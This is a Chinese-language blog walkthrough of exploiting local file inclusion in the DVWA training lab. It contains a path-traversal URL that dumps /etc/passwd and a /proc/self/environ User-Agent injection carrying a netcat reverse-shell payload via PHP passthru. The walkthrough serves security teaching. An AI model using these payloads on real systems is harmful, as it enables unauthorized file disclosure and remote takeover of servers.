Dvwa漏洞之 local file inclusion 本地文件包含

local file inclusion允许攻击者读取同一台服务器上的任何文件

  • 访问www目录外的文件
  • 如果用户账号密码保存在某个文件里,就可以读了,这个是很危险的
  • 如果多个网站部署在一台服务器上,通过a网站的此漏洞,就可以访问B网站的文件,从而进一步实施攻击

来看下具体的例子把

点击file inclusion,可以看到url是这个样子的,

file inclusion 的url是这个样子的,XXX/?page=include.PHP

试试以下输入url,可以看到error,从报错中可见这个路径文件是存在的。

我们知道一般服务器上存在/etc/passwd文件,所以我们试图获取这个文件的内容,从而进一步获取更多文件,加以利用。

通过构造url:XXXX../../../找到目标的路径

http://192.168.254.129/dvwa/vulnerabilities/fi/?page=/../../../../../etc/passwd

 这样我们就获取了该文件的内容

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false

这样就可以获取www目标外的文件了。至此就有机会获取目标机器的完全控制权了

这个时候我们security设置的为low或者medium


更进一步,本地文件中包含shell

构造url,来查看环境变量的文件

http://192.168.254.129/dvwa/vulnerabilities/fi/?page=/../../../../../proc/self/environ

可以看到user_AGENT 就是用户浏览器的信息,有信息是可以写到服务器端的

通过burp,修改这个值

改成php函数,phpinfo

 效果是这样的,可以查看php信息

还可以把这个值改为命令

passthru("nc -e /bin/sh 192.168.254.129 8888");

关于passthru

(PHP 4, PHP 5, PHP 7, PHP 8)

passthru — 执行外部程序并且显示原始输出

说明

passthru(string $command, int &$result_code = null): ?bool

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

同时在攻击服务器上监听该端口8888,就可以获得完全访问控制权限了

这就是通过注入代码实现的

以上

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值